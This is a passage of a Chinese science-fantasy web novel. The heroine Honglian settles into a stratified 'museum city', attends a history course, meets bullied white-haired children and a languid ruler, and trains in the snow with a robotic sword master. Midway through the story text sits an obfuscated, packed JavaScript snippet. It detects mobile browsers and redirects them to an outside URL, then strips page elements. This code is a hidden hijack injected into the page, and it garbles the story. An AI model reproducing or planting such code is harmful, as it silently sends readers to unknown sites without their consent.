红莲失望的向南看，发现这里距高楼林立的工业区很近。向北看，有数不清的居住建筑遮挡，只有浮空球体和大天鹅那么熟悉。 她点按领扣显示信息面板，操作找出地图，自己所处的位置叫实习区，被环形公路隔开，公路注明只供无人机械通行，人员不得靠近。三道巨环隔出四个环形居住带，从外向内分别是，实习区，课题区，展厅区，管理区。 人们大多步行回家，墨绿色的街道两旁，隔几步就有休息长椅与流水喷泉，建筑虽无设计风格，但错落有致，窗下也有绿植。 红莲走着，细看白裙行人都是金发或黑发，神态放松自然，偶有说笑。 她们路过细巷间，能看到人群围住一个人叫嚷拉拽，却熟视无睹。 红莲走过去，人群抱裹着受害者走向深处。 她叹息后找住址入口，询问路过的金发人群，却被她们绕开后讥笑，她只能独自在门廊之间寻找，从安全通道走步梯上去，发现走廊其实很像居住舱的外壁。 也就是说，居住空间也是一体化的设计，只多了通水管道。 门前的两人正在交谈，是身穿旧衣服的晴灯盒橡树正在门外等她。 “你们怎么不进去？” “你不来进不去去啊，门锁是电子的，里面连个灯都没有！我一会儿回课题区了，系统把我住址分到那了！” 晴灯说完，看红莲查找开门指令时打量他俩。 “怎么还穿这个呢？” “没有白大褂穿就不舒服，我在橡树房间换的，他好像喜欢上岸防连城队服了。” 三人进入房间，红莲从门内侧斗柜掏出一次性居住用品，门前有一排与墙相连的座位，座前凸起一个长方体充当茶几，左边有一个透明半圆壁房间是洗漱空间，上方垂下两个挂钩，最后剩下一个贴墙的大型长方体是床，再无它物。 就像晴灯说的，这种居住舱没有电力，她俩住过很多个了，红莲把第二件白色长裙挂在挂钩上，领扣自动弹出全息按钮询问是否开启光照模式，红莲看窗口光线很好就拒绝了。 她拆开居住用品，说明书写着，旧用品用包装装好，出门带到走廊的垃圾箱里，每天安保机械人会从门外放入新用品，内含三套用品：营养剂，毛毯，睡裙，毛巾，以及沐浴护肤瓶装。 “你们在门外等我换一下衣服。” “哦，我们刚才溜达过了！” 红莲换好黑底白边的岸防士官服，才注意到将军肩章还在，她曾嫌弃将军长袍跑步碍事，所以拆下肩章别在旧制服上，这会不得不又拆掉，却发现整个房间没有能放东西的地方。 浴室有个小梳妆台，台上放着一个杯子和梳子，她放下肩章，把两件白裙挂到橡树房间，三人到走廊里说话。 “咱俩帮橡树染成金发。” “啊？” 红莲担心橡树因发色，被天家和贝家找麻烦，晴灯指导橡树用意识改变发色。 一番折腾后。 “晴灯你在橡树房间等我们吧，以后得委屈你和我们住在一起。” “哎！不要！我那课题区是人人想住的大别墅！” 晴灯说着，进橡树的房间休息。 姐弟回到街道，她在水池边用手捧水喝了几口。 “橡树你饿吗？” “还好，我现在没心情吃饭。” “好弟弟，那我们散步吧。” 两位身穿英飒气质的黑制服少女，走在一派祥和氛围的街道本来就让人们好奇，细看她们还是贝家与黑家的人互相交谈。 “我得了解夜星的全部，为麻烦做好准备，用不了多久。” “红莲姐你是对的，这里的人平静舒适，外面的人痛苦死亡。” “嗯，花草都是假象，你还听我的吗？” “你说。” 红莲走到橡树前面，转身微笑，黑发挥散，她是一身英飒力量的少女，眼神却带着不安和慈爱。 “帮我照顾晴灯吧，她有点傻。该走的时候，我们得一起。” “我俩要一直待在房间吗？” “哈哈，不用，你们尽量和别人一致，每天一起回来，有事就通知我。” 物化的时代 三人醒来后，在门口确认归期。 红莲和橡树乘坐城市电梯前往展厅区，两人出站就看清了目的地。 黄金时代展厅远高于其他建筑，宽度也是展厅区所有建筑之最，墙和门柱有金色海草缠绕的侍灵雕像，是座奢华程度令人感觉沮丧的古典厅堂。 身穿白裙的市民们行走在金树装点的石道中间，踩上包着金边角的石阶，进入大厅内，领扣自动弹出信息提示，指点每人该去的教室。 姐弟坐到扇开的梯式听课区中间，他俩的交谈引的东侧金发人群和西侧黑发人群一起窃窃私语，等讲师到位，红莲才注意到中间座位都属于贝家的市民。 讲解师说道：“第几节了？这是新班？我发一下课程内容信息，每人打开面板，阅读并听讲，目的是找到自己喜欢的课题，有喜欢的课题就提交，回住处等待课题区发通知。” 信息面板的内容： 黄金时代及机械时代 阳星系位于银河系猎户悬臂中心，内含阳星，光星，月星，风星，白星，黑星，金星。 光星有四块大陆，北大陆黑发人，东群岛金发人，南大陆白发人，西大陆红发人 （课题动植物自然学，古代实用遗产学） 水蒸气动力的水动机发明于旧元1815年改称新元元年，新元317年之前，光星人类以黄金代表的财富作为第一追求，所以称为黄金时代。自动化充斥世界引发人类失业危机后，全球大力开发意识虚拟技术，人们放弃繁衍，可以进入虚拟世界舱体验永生，每个都得到了幸福，称为黄金时代的巅峰。成就：体外孕育技术。 （课题：孕育罐技术） 新元317年，总商会资助永生科研基金会在世协展示电子人脑，以及阳外小行星带发生连锁撞击，以星际殖民为目标的第一次千年进化会议，计划了一千年内的发展目标： （简称说明：全球商业联合会即总商会，世界石油联合会即总油会，世界安全协调委员会即世协） 改变意识载体 改善身体结构 扩大星际运输 一切为这三条让行 机械进化评分：原生10分，人类原生体不进化，只进化工具机器。 （课题：信息学） 新元402年，A团队向太空发射波曼大脑论证了独立智能可行性，北极在线AI系统完工，总商会总部迁往北极。 新元498年，南大陆天团队发明芯球，拥有比肩人类大脑的独立智能机器人诞生，称为离线机器人，家山离线机器人基地蜂巢号完工，开发者真凶博士病亡，离线机器人淘汰，团队合并到北极，发展成为现在的天家。 从新元317年到773年称为机械时代 成就：自律型自我复制机器人，太空电梯，环光星太空城市环，54座太空城 （课题：全自动机械系统） 意识上传的永生电子人，出现了意识涣散和长眠不醒等问题，播放音乐暂时缓解，北极AI系统散热使得冰川开始融化。 “就这点内容，夜星从黄金时代到机械时代都由总商会主导，就是贝家的前身，取得了伟大成就！哎，我休息一会，你们先看看，留意自己感兴趣的要点，随时提问。” 讲师趴在桌上休息的间隙，人们互相探讨课程，红莲轻拍橡树。 “我有自己的课题。” “什么？” “古代实用遗产学，就是体育学，我要去找懂的人帮忙，你等别人都走就回家。” 橡树点点头，看红莲快步走到讲师身边，私语后离开了。 周围的金发女生们立刻围住他。 “你好啊，你叫什么名字，怎么和黑家的人在一起呀。” “橡树，她是我在岸防连城认的姐姐。” “哦？橡树？那你是在实验城市长大的喽？那里很多金发的市民吗？” 另一个女生插话问：“你决定好选什么课题了吗？” “有音乐类的课题吗？我看这上面写了，播放音乐。” “喔，没有，对灵能进化没用的知识都没保存下来呀。” “你感兴趣的话，我帮你找找，应该在古代遗产学档案库里还有点，我姐姐听过！贝家主大人经常播放音乐。” 橡树感谢对方，讲师又开课了。 红莲走出展厅，用信息面板点出天家主的随从——元的语音通话。 “红莲大人，我这会忙，天家主大人似乎很闲，您可以过来等待，我把地址发给你。” 她收到地址，自动规划行程，轻点领扣就出发。 金树下，一个白发孩童拣着掉落的金叶子，这很不寻常，黄金在这个时代毫无用途，还会被贝家处罚。 小女孩把金叶捧到三个蹲坐的小孩身边，她们抽泣着小声说话，红莲忍不住走近询问。 “你们怎么了？” “噢？” 这四个小女孩都身穿小白裙，各自的白发朝不同方向扎着一根小辫子，她们习惯每人说一句。 “没事。” “我们不知道该去哪？” “你别说了，上次就惹黑发姐姐生气了，她们讨厌白发的人！” “唉，我就说像大家一样，在家呆到死，别在再出来了。” 红莲轻摸四根歪辫，弹动的极为可爱，她就蹲下，也玩地上的金叶子。 “说说呗，我最喜欢白发的小个子了，你们怎么不去上课。” 一个小女孩抬头与红莲对视后，又低下头推推身边的孩子。 “我们是在博物馆都市出生的实验体，今年14岁了，个子却还这么低，同批次的人都这样唉，大家早就学完了四时代课程，却提交不成所选课题，一遍又一遍的重修课程。别人就不来了，都在家呆着，我们四个想再试试就又来了。” 红莲笑问：“嗯，那每天逛逛实习区不好吗？我小时候最想逛街了。” 另一个小孩放下金叶，激动的站直。 “黑发姐姐你不知道，街区总有凶恶的人群拦住我们，要等她们骂到没力气才能走。” “所以我说就在家呆着！” 红莲点点头，环抱住大家。 “被我遇到了，就让我来想办法吧，这是我的信息名片，你们每天到展厅外玩，等我。” “红莲？” 她缓缓起身，黑发在白色长裙后飘散，这是个远比女孩们想象的还要强大的少女，独行走出黄金时代展厅的豪华庭院，与一位同高的女生擦肩而过。 红莲在她走近之前，就留意到这人曲线清晰，跟普通天家市民那平直的身体不同，她这种身段很罕见，这可能就是小女孩所说的实验体。她的白裙也很特别，下摆长到脚面，肩上有小披肩，左臂环抱着一本厚重的纸质书籍，右手在大额头下擦泪，红莲转身看她背影时，纯白的长发被巧妙编织成辫子盘在脑后，像一位出门名门的大小姐。 红莲走上地铁站的扶梯，听着身后三个身形与那人同样凹凸有致的白发少女交谈。 大致意思是说，她们三个都是天家课题组长的亲缘血统，那个哭泣的少女是某位淘汰组长的血亲，虽然按规定课题成员任免，不考虑血缘关系，但热门的课题组几乎都是组长血亲任职，而那少女平时就不受欢迎，三人更是说了很多关于她痴愚表现的笑料，话题共识就是她这种天家成员不配待在博物馆都市。 红莲来到市中心的管理区，无需寻路。 高低错落的建筑都没门。 就是说根本没有入口，她只能向浮空球体靠近，这银球不仅一直发出低沉的闷响，而且还没有影子，球体下面的确有一个凹洞。 红莲想探明凹陷内有什么玄机，身体却突然上浮，匀速飞向球体，身体渐渐没入球内，内部是广阔的白色空间，元就站在那里。 “红莲大人，您有什么事呢？” “元，我的课题——古代实用遗产学，需要老师。” “格斗术课题的参与人数是0人，您想清楚了吗？” 红莲点头。 “天家主大人也考虑过，提高全民剑术素养，您先进去，等我取件物品。” 元走后，红莲面前的白幕割裂成门形，她脚步靠近，门内显现大厅，光滑的浅黑色地砖，纯白墙面配以银丝角线与花纹，正前方有一整面淡灰色的落地窗。 这个球体位置被堤坝阻挡视线，应该看不到都市外的雪原。 证明这面巨窗是极为逼真的显示屏。 窗下有一张流线形设计风格的半月牙形桌面的办公桌，天家主侧转高靠背椅子，身边有一辆微型自动化餐点车。 红莲到桌前，看她还穿那件泡泡袖衬衫，但款式细节似乎略有不同，她的身材从肩颈到手臂，再到胸前和腰肢每一处细节都美的这么恰到好处，全身自然优美又迷人性感，下身交叉放腿，坐姿惬意，今天穿了黑色哑光皮面连靴裤。 餐车上的茶杯和点心似乎令她腻烦，只吃了一点就靠着椅背发呆，桌面不断闪过各种信息画面，她扭身看看，似乎没有需要她亲自参与的决定。 “小红莲开始主动找我了。” 天家主的白发一直用最爱的白菜发型，今天发卷散的更开，显得比平时更有美人风韵，厅内没有给别人坐的椅子，红莲就这样局促的站着看她。 “我找元帮我研究古代实用遗产学。” “噗哈哈！” 椅子似乎能感知她微动屁股，自动转向，使天家主正对红莲。 她仰后大笑，绝美的五官让嘲笑都不带恶意，小臂枕着扶手，十指交叉做出欣赏表演的姿态，后说：“我都忘了有这么一门课题，呵呵哈哈，小红莲总给我带来欢乐呀~我想想古代遗产？都没用！就勉强留了体育运动学，在激光炮和自动机械混战的现在，武术毫无用处呀？” “不靠任何外力的武力，我喜欢这课题。” 红莲这平淡的小脸上，眼神锐利，就连平凡的白长裙也变的英气逼人，这让天家主的笑容微微收敛。 “嗯~或许能用的上！那我给0人参与的古代实用遗产学课题设立一位组长！呱唧呱唧~来呀~红莲组长，一起庆祝你高升！” 红莲想鼓掌又放下手。 “哎~红莲你这么沉闷，要是在古代可完了，没有男人喜欢你呀！对了，我也给晴灯升了组长，生物编程学课题，看看能不能彻底掌握西大陆的细胞编程器。你就搞那个武术研究吧，我有事再叫你，你知道吗？小红莲，人生的转折只在几秒之间，而永生漫长时间所积累的实力却不值一提，比如古代有个典故，一个智者费尽心思爬到丞相，却在国王驾崩后把权力让给了宦官。我们在转折来临之前无论做什么，意义都不大啊。” 天家主轻轻摇头，闭目养神，好像又要陷入发呆之中。 “上次谈话约定的A之书解读，您还有兴趣玩吗？” “喔？我以为你忘记了，嗯？该第1句了。” A之书 1 灵魂的密码就在基因里 狂躁被软弱中和 所以随机□□后的世界，从来是混沌的 然而，恶更容易使自身变强 到了只剩恶的年代，世界本身已经毁灭了。 我终于明白了世界为何从未改变 因为世界从来都是同一波人循环。 红莲：“1，自己战败的人就担心别人战胜敌人，自己被怯战的人就怕别人胆子比敌人大。” “你是在说我吗？” “不是，这句出自一本古代英雄小说。” “噢，那么1，歧视是人类最伟大的发明啦~只要有比自己滑稽和弱小的人，人们就能心安理得的活下去，无论自己过的怎么样！哈哈~” “我是滑稽的小丑？” “小红莲~过分了啊！元你带她出去吧，我有些疲倦了。” 元在俩人身后等待着主人的指令，天家主说完，元却有些脸红。 白色短发和西装使她又像位羞涩的美少年，她送红莲到达巨球体之外的地面，从空气中显现一根长棍形物体，渐渐落在她手上。 “红莲大人，我有一位师父，我跟他说起过你，你去吧，到金山堡外围的雪原，把这把剑插在地上，等他出现。” 红莲也用双手，捧接住这把锈蚀到近乎一碰就碎裂的长剑，但亲手握住后，钢坚手感却不同寻常。 她想出城前往雪原，这身天家长裙的保暖科技并不好，就需要返回位于最外环实习区的住所取岸防制服和斗篷。 她到达住所楼下的时候，橡树和晴灯被一圈金发少女围在长椅上交谈，红莲听了一会儿，感觉橡树很懂保密用语，姐弟简单寒暄过后，红莲独自上楼洗漱休息。 游荡千年的教育家 当红莲到达博物馆都市北门时，又与那位少女擦身而过。 脑后还是精致盘发，长刘海分在脸侧，与鬓角一起，极为整齐，露出的大额头给人端庄和善的印象，宽容感来自她的微微上翘的眉角，明晰的亮目与亲切笑容是她内心溢出的善意。身着白长裙，颈背一线，保持得体的坐姿。 红莲路过她身后，感叹这白色披肩里的细胳膊一定从没拎过重物吧，细腰下的腿型却有些丰盈，是日常久坐形成的体态，她对面的办事人员已经腻烦。 “天烛小姐，你天天守在这里没用，我昨天随口说说，北门大厅不负责前往南极的事务，听说内陆已经被工业带占满了，您可以去西门咨询，那里离科考站港口要塞比较近。” 工作人员说完离坐，去与同事交谈。 这位名叫天烛的少女，失落抹泪，靠近北门，呆呆的看着窗外雪原。 红莲入座，敲了下桌面，给前台系统发送通关手续，就旁若无人的换起了衣服，用力拉展黑色士官服的上衣褶皱，再围好斗篷后，室内的温度就太热了。 红莲大步走进北门内停步，侧身再看那位少女。 彷徨失落的眼睛对视着坚毅明锐的眼神。 出门的少女低头戴好斗篷的兜帽，义无反顾的进入了苍茫的白色大地。 北极最北，几万公里的群山与东部山脉实为一体。 最高峰中，有一座正对北门的堡垒，人们只能看见这建筑的灰白色石顶，山下却无道路。 谁也无法知晓如何登上这座金山堡。 极度严寒使得山峰与雪地浑然一体。 夜色中，旋风舞动漫天雪花，一个穿着棕色斗篷的人影独行于这寒冰死境间，点点成线的足迹渐渐弯向东方。 红莲观察风向，确定在东北方向的雪坡中有一块洼地，如果这白色寂灭的自然允许人类生存的话，只可能在那里。 她能坚持到达这雪坑边缘已经算超乎常人了，紧握铁剑的手完全冻僵，再怎么细心微调动作也无济于事，一步拄剑前行探空了，红莲栽进洼地雪坡，眼前哈出的气雾在天旋地转中激增着人的恐惧心，长期练就的身手使她控制住身体姿态，并拢全身，改成侧滚，更高速度的下滑让她几乎是撞在坑底。 红莲仰面朝天摊在雪里，大口喘着粗气。 “呃，咳。” 恨意，她不知道自己在恨什么，黑紧身裤微曲膝盖，那只冻僵的手被恨意激活。 她全力翻身跪在雪中，黑色长发脱雪腾开，她狠狠的插下铁剑。 红莲双手交入袖中，仰头望向夜空。 全黑无星，大风将雪花带往南方，只有她的气息像少女童话描述的仙境云雾。 有一种感觉驱使她目光下移，黑夜与洼地边缘的交汇处站着一个人形机械生物，它下肢细高，上肢钢壮，不锈钢杂乱的穿插，构成它的身体，空洞的胸口内闪着一轮白光，细看光环里转动一个银色球体，光球被抚动的灰布遮蔽，是它脖颈缠绕的盖住左臂的灰色残破斗篷，斗篷还缠捂住它的面部，一双黑洞中心泛出幽光。 咯吱咯吱的金属摩擦声不断，红莲才看清它背上插满了铁剑，像一名万箭穿心的战士。这些铁剑掉落却没有声音，她细听推测铁剑在触地前浮空并沿洼地边缘飞行。 剑阵对红莲形成一个包围网才落地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875289|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “红莲吗？” 声音伴着电流杂音，浑厚而低沉，红莲从未听过这种说话声。 “谁。” 红莲面前的那把插在雪中的铁剑高速飞起，回到了机器人的手中。 “你在这一路上从未感知到我的存在，唉，你远没有元说的那么强，而我别无选择，因为只有你来到了我的面前。我是一段无人知晓的历史，所以我没有名字，我救过元，你和她一样叫我师父吧。” “我能学到什么？” “学会真实的自己。” 它一跃就到夜空正中，再落就立于红莲面前，气波吹飞红莲黑发和身上的雪片。 “你冻僵了，不要试图站起。” 这人形机械约有3米高，蹲下的高度也比常人高出不少，那银色球体的光晕变的鲜红，两人周围的气温随之上升，机器人在这过程中似乎疲倦，光球恢复白色后，它坐在雪地。 “这下我的时间更不多了。” 温暖让红莲再次灵活，站起，端详这个机械巨人。 “你一直跟着我吗？” “红莲，人的灵魂能感知到很远的范围，你的灵魂缺乏安静的力量，像团躁动的火焰，只有火焰触及的范围，才能被你察觉，大概只有500米。不过好在这火焰能量极高，你的感知敏锐而周全，形成一个以你为中心的球形全知空间。修行或许能扩大这个空间，我在漫长的悔悟与锻炼中自创了名为真我的思想。” 它从胸前扯下一块铁片，用铁指刻字，完成后把这冒着烧红字痕的铁片递给红莲。 真我剑术 理念 真我是非本能非信息，完全由自己决定。 非本能是指你不听从身体而行动。 非信息是指你不听从信息而行动。 你听从什么，什么就决定了你的苦乐。 让真我恒定，人生才属于自己。 真我是怀疑本身 真我是完美自主 剑技 凡是武者有三个境界 静界：感知一切即立于不败，一剑注满败亡胜生的觉悟，即一命剑 绝界：冲破绝望之境地，一命不发即绝命剑 天赋不同擅长不同的境界 领悟真我自会极界 极静界：置身万物时空之外，先发制敌 极绝界：以身灭绝全敌 极命界：对不可战胜之敌，始终提高一命到更强，即极命剑 “你将心法理解透彻后，就开始修行，到时要放弃思考和观察，禁止接受身体的指令，包括恐惧与求生，你要全力感知环境，就是静界。你自如收放静界的时候，自然习得一命，我们再对练验证你的成果。” 它说完便静止了，只有斗篷下的球体发着暗淡的白光，好像是进入了待机状态。 红莲对不听从本能，这点早有心得，儿时离罐后，周身与大脑的每一根神经疼痛，持续的两年里逼她厌倦了哭泣；在乘坐治疗椅调整发育过程的煎熬中使她抛弃了软弱；在身体能自由活动的每一秒内努力练剑让她消除了怠惰；在漂泊于各实验都市的十二年里，命不由己帮她驱散了彷徨。 那不听从信息是指什么呢？ 一切信息的载体——信息库，还兼顾为孕育罐提供知识库。 幼年的红莲害怕那台设备，也对知识库的信息充满怀疑，她无法理解人们为何听命于在线AI系统管理自己的生活。她也不明白发色为何能区分人际关系，在第一次看到自己的血后，那鲜红的颜色好像带走了她的痛苦，她就去黑家主，要求改名为红莲。 真我是怀疑本身。 红莲从不坚信任何学说与理论。 或许自己早已具备了真我，红莲想到这个，就用拳敲击了一下师父的钢脑壳，它一跃回到雪白洼地的边缘。 “那开始了，我也腻烦等待。红莲，你要躲避剑雨到达我面前。” 语音结束。 雪坑上，夜幕中，浮起一环铁剑，它们在狂暴的风雪内直立不动，突然开始绕洼地转动，速度快到让红莲转身调整视线都无法捕捉铁剑位置。 这一瞬到底有多快，红莲只感觉有铁剑靠近，剑阵急停并将剑锋都对准了她。 这错乱的先后知觉使她当即明白了剑阵已经飞出。 雪坡有诡异的横向震动也说明个别铁剑隐秘飞行，挑选着攻击角度，但物体临近的感觉逼她扭身后跳两步去看这东西，铁剑居然就在眼前！ 身体的极限操纵帮她以最小间距闪开剑峰，断落的几根黑发与身前的剑雨都在空中。 红莲把握转瞬即逝的机会，确认了自己与钢铁师父的地理位置和各铁剑的攻击角度。 她先侧身向东横向疾跑将剑雨引离中心，跑动中的获得惯性，帮她在最短时间奔回中线，剩余剑流被她用最节约身体姿态的方式多开四波，可前方上空的铁剑持续增多。 红莲情急之下踩着地上的剑柄跳入空中，她赌对了。 剑雨转向仍瞄准她，她背手抓住一柄铁剑，并借力腾空，在剑阵里扭转跳避，成功进入无铁剑的空间。 钢铁巨人看她跳近，单臂蓄力做着出拳动作，红莲勉强调整为踢击，拳到她靴底的力量不大但缓缓增加，最终一拳将红莲推回坑底。 “我对红莲的体术素养很欣慰，这点无需再学习了。但有两点，一是你一刻都无法平静，这拖延你放出静界的速度。二是有一个诡诈的灵魂污染了你，使你对信息产生了依赖，灵魂感知到物体逼近却被你用作从容，你的观察让你变慢，你的静界比常人更难习得。” 所有铁剑飞回坡顶转圈又形成包围红莲的剑阵。 她在心里重复背诵这段话，但激烈运动后的身体酸痛干扰着大脑，铁人师父坐在坡顶等她平静后又重说了一遍。 话语的重点是诡诈的灵魂，她最讨厌受到干扰，能一直扰动她的观念的人只有天家主。 红莲曾把她当老师，但她丝毫不避讳阐述那些俗恶的事实，红莲的直觉提醒着自己，天家主就是用这些人性之恶的真实感，试图将她转化成像天家主的人。 “我要清除它，做回我自己。” 这是红莲进入博物馆都市之前的心得，此刻她说出口，再次明确信念。 我原本就一刻都无法平静，那就平静。 红莲恢复体力并调整气息声到低于雪花的震动音，她用烦闷驱散心中的沮丧，后踮脚跳起，拍净黑紧身裤与裙摆上的雪片，还要把斗篷摆好，保证体温减少干扰，注意到地上的断发时也将黑色长发缕展。 她闭目隔绝掉观察，无视了风雪与衣物的声音，呼吸与心跳声渐渐也归类为无，刚进入感知环境的状态让她产生一丝不安，这不安的能量随时间激增。 少女小巧的瓜子脸上眉头紧皱。 我在不安什么？ 我在害怕什么呢！ 激烈的怒意瞬间将不安化成熊熊怒火，她全力让怒火停止，但在坡上坐着的师父心中，洼地底部的红莲是一团火势极速滋长的烈焰，她仅能做到心火短暂时停，这是灵魂学习感知范围的过程。 当红莲以她擅长的坚锐精神将怒意平复，能明确感知环境后，她发现自己的感知范围的确是个以自己为中心的球形空间，这空间里的任何风吹草动都比外界清晰，不清楚外界让她产生不安，不安转化的怒火再被锐气平静。 她渐渐能扩大这个范围了，但就像师父说的，球形的感知范围的扩大速度极慢。 “我做到了！” 红莲以为自己掌握了静。 在师父的知觉里，红莲根本没有平静过一秒，她是个被鲜红怒火充满的球体，所以火焰无法再扰动，形成了感知范围，这情景超出了它创立真我的设想，居然有人的灵魂能量如此高昂，单凭能量就强行填出一个球形空间，是什么让这位少女对世界有这么强烈的怒火呢？ 铁人师父稍做想象就不免为她的经历感到悲伤，而这球体的恨意，杀意，怒意是如此浓烈，这杀气能被上百公里外的武学强者轻松感知，额外增加了她静界的实战难度。 不管怎么说，这就是她的真我。 红莲知晓范围外的不同方位有物体，这些物体还绕着球形范围边缘移动，一个物体触碰空间的边缘，红莲睁眼，那只铁剑又立刻缩回，在她眼中，铁剑群以360度浮在她周围，又有17只铁剑不断飞入空间，在她做出动作反应后又绕飞回球形感知范围外，红莲眼神凝锐，她全力扩大着范围，铁剑群随之缓缓后撤。 这样反复僵持了半个小时，红莲气息开始变乱，她拼死维持着感知，全身虚汗并发的一瞬，她昏厥了，脸撞雪地之前，勉强清醒，用还能动的右手撑了一下地面。 无法逃脱的虚弱感吞没了她，嘴里的雪都无法吐掉了。 “红莲，这时的你最清醒，请坚持住听我说明。” 她只能用手奋力扔了一把雪，以表示回应。 “真我是人类降生时的原初我，所以人的静界一开始便是放出的状态，静界本身并不损耗人体，但后天的见闻与思想形成了一个强势的伪我，放出并维持静界就需要消耗精神力和意志力去压制伪我。你用怒火能量填充的静界与众不同，优点是感知极为敏锐且全面，缺点是这方式又额外消耗着你的精神与意志。好在你的真我异常强势，伪我很少占据主导位置，所以你的静界能维持较长时间。结论，你的静界，快准全，但你一生都无法学会常开静界，静界的放出到最大范围的速度很慢，强烈的杀气还容易被人提前察觉，很难应用于实战。” 这绝望感对红莲来说再熟悉不过了，她都不知道自己为何能一直信心百倍。 “很好，你没有放弃啊，红莲。你是我第一个徒弟，也可能是最后一个，这不灭的精神使你更可能是最好的一个。” 它跳到红莲身边帮她翻身，解下那残破的灰色斗篷盖在她身上。 “等你恢复，我们今天最后对练验证你能否用出剑技一命。” 红莲在温暖的气温中好像短暂的睡了一觉，嘴中的雪融化将她呛醒，身体还是不听使唤，不是疲劳导致的无力，而是身体本身拒绝再听从她支配。 “老师，我们聊聊天吧。” “好啊，我有很久没和人聊天了。” “讲讲你是谁？” “嗯？我的□□出生于新元1179年，有过漂亮的妻子和可爱的孩子。很多往事，我都记不清了，只记得我在南大陆指挥军队阻止灵能会军团入侵，超能力者联盟成员在一个有温暖阳光的午后突然爆炸，我的□□受到波及，被炸的只剩上身，这时一位天使站在阳光之中，出现在我的面前。” “天使？” “她可真是一位美丽的女士啊，我经常能梦到她说人类又背叛了自己。” 红莲坐起来思考着她的话，老师继续讲述着。 “她掏出同伴的机械心脏，救活了我，此后我躲避人类，看着光星渐渐毁灭，变成了夜星。我独自在雪原游荡，反思人类为何背叛了自己，丢弃了无数种错误的答案，思考的成果就是真我。” “你认为所有个体回归真我就是正确答案？” “至少不会再背叛自己。” 红莲从不让外力拖延决定，不背叛自己的意志。 “开始吧。” 她站稳上身，单臂向侧伸直，一把铁剑从坡顶飞到她手中，气浪轻抚黑发，这位少女一身黑衣是如此威风凛凛。 钢铁老师则不用剑，摆出了拳击架势，机械腿部交替的动作显示出强大的力量和速度。 红莲压低身姿，单手扶稳剑尖，目光与剑形成一线，她凝息的片刻，怒意就化作锐意，老师感叹红莲这次放出静界的速度快了很多，可能因为目标只有一个。 她已经将静界探到最大，师父的实力能被她悉知，这是一尊和虎型机械生物具有相同战力的机械骨架。 而她自己只是人体□□，实力相差如此悬殊，她必须试探几剑。 红莲第二次出剑，利用身高差勉强躲开钢拳，拳风冲散的黑发下，红莲低身试图刺中白色光球核心，而迎面的铁腿顷刻便至，她单手扶地闪开踢击，这样连续躲避并还击，退到了坡面中央。 红莲明白了，它这次遵守人类比武的攻防方式，但如何取胜呢？找不到一点破绽和弱点，怒意让她的静界再次浓烈，在铁人旋转飞踢后，她自动得出答案。 赌在这一剑。 钝锈的剑锋撞在钢腿的骨架缝隙间没有弹开，而是借着它踢腿的动能稳稳绕切着，红莲整个人也随之在空中转了半圈，使刺击变成斩击，钢制骨头断开，红莲落在坑底转身再次与它陷入对峙。 “好！红莲，这一剑才是一命剑，威力不足是因为你没有受到致命威胁，灌注在剑击中的败亡胜生的觉悟不足，这点可以在以后练习中渐渐提高，提高到极致便能用于实战了，这会还导致一命剑技无法连续使用，间隔随静界强度而缩短，你的静界能量极强，所以一命剑技的间隔很短，对你来说是好消息。你需要保存体力回家，今天就学到这吧，关于实战，我建议你使用长距离突进的方式应用真我剑技，你要在突进过程中释放静界，距离越远，速度越快，胜算越高。接敌之刻，再判断是否释放剑技。” 12. 章12北极：一见烛就有好心情 一个温暖的午后，但没有阳光。 与地面连成一体的桌面上摆着元派人送来的精致甜点与茶饮，晴灯打印了三把折叠凳和一根蜡烛。 可她迟迟不愿坐下，或许因为内穿的白色直筒长裙被成熟女性体型撑的有些走样，她外穿着一件纯白连帽大衣，这衣服来自课题区市民的特权，提供衣食住行在内的自定义产品与服务。帽兜里的斑白黑发杂乱无序，脸侧的鬓角也是曲曲折折，在长期粗暴对待头发，已经很难梳展了。但她面容的气色好了许多，因为近两个月来，橡树每天催促她按时回家。发型邋遢不算，她还用穿白大褂的方式穿着大衣，导致肩袖松垮到快要滑脱，于是她换个姿势观望窗外。 小道两旁的楼体比岸防连城的居住舱更像人该住的房子，设计却简约到令人乏味，不像课题区的别墅有种种不同的建筑风格。 路旁的水池边有几个女生用便携杯具接水，这都市的水源完美无菌，想要细菌都没有。 坐在长椅上的女生们发生了争吵，引的周围的楼房的窗口都打开着，离吵架人群不远处的行人边走边嬉笑打闹，这些都让晴灯感到无趣，甚至不如街上随处可见的花坛能提起她的兴趣。 她把注意力放到眼前的绿植，这枝叶的健康程度令人难以置信，光泽怪异，自然学课题组是怎么让植物在无菌无虫的环境中成活的呢？ 窗开后，她全神贯注的摸着绿叶，还揪下一片叶子，闻闻断面，就差放到嘴里尝尝了。 “你和晴灯住的这段时间，能适应吗？” 红莲左臂枕着她出城用的行李箱，黑色长发散在胸前，左手托腮，瘫坐在长椅内，白长裙在慵懒坐姿下，像个倒靠在椅背的面条。 她打量完晴灯，再看看橡树，这男生把金发理到刚过耳下，他在亲人面前还是适应不了女装，低头摸索肉色丝袜是否得体，又习惯性的揪着裙角，表达着对这衣服的质疑。 “我看那位叫元的人穿西装，不能给我找一套吗？” 橡树的样貌很像女生，却被一些女生关注了，西装更容易被识破，红莲就摊手示意不行。 “好吧，晴灯博士回家就睡的像个死人，我怀疑她在大脑里改装了一键关机，我在她开机前洗漱完毕，最近这几周我会带上东南西北一起去黄金时代展厅，这样能减少被陌生人缠住的次数。” 东南西北是红莲见过的那四个小孩。 “你们每天就在展厅重复听课？” “有个陌生人给我三弦琴的乐谱，她答应帮我再找一些，贝家市民似乎也不急于选定课题。额外时间，我们六个人就在实习区或者展厅区闲逛。” 可以这么说，不是亲人身份的人很难看清橡树对待世界的疏离感，红莲一开始以为他刚来陌生的夜星世界，所以局促，后来觉得是他失明的成长经历使然。 红莲最近几周才懂了橡树，他人如其名，像一颗树，尽可能不与人产生关系，亲人是他与世界最后一丝纽带，被他优待。 “那个经常来找你的金发女生？为什么你和她相处了2个月还叫她陌生人呢？” 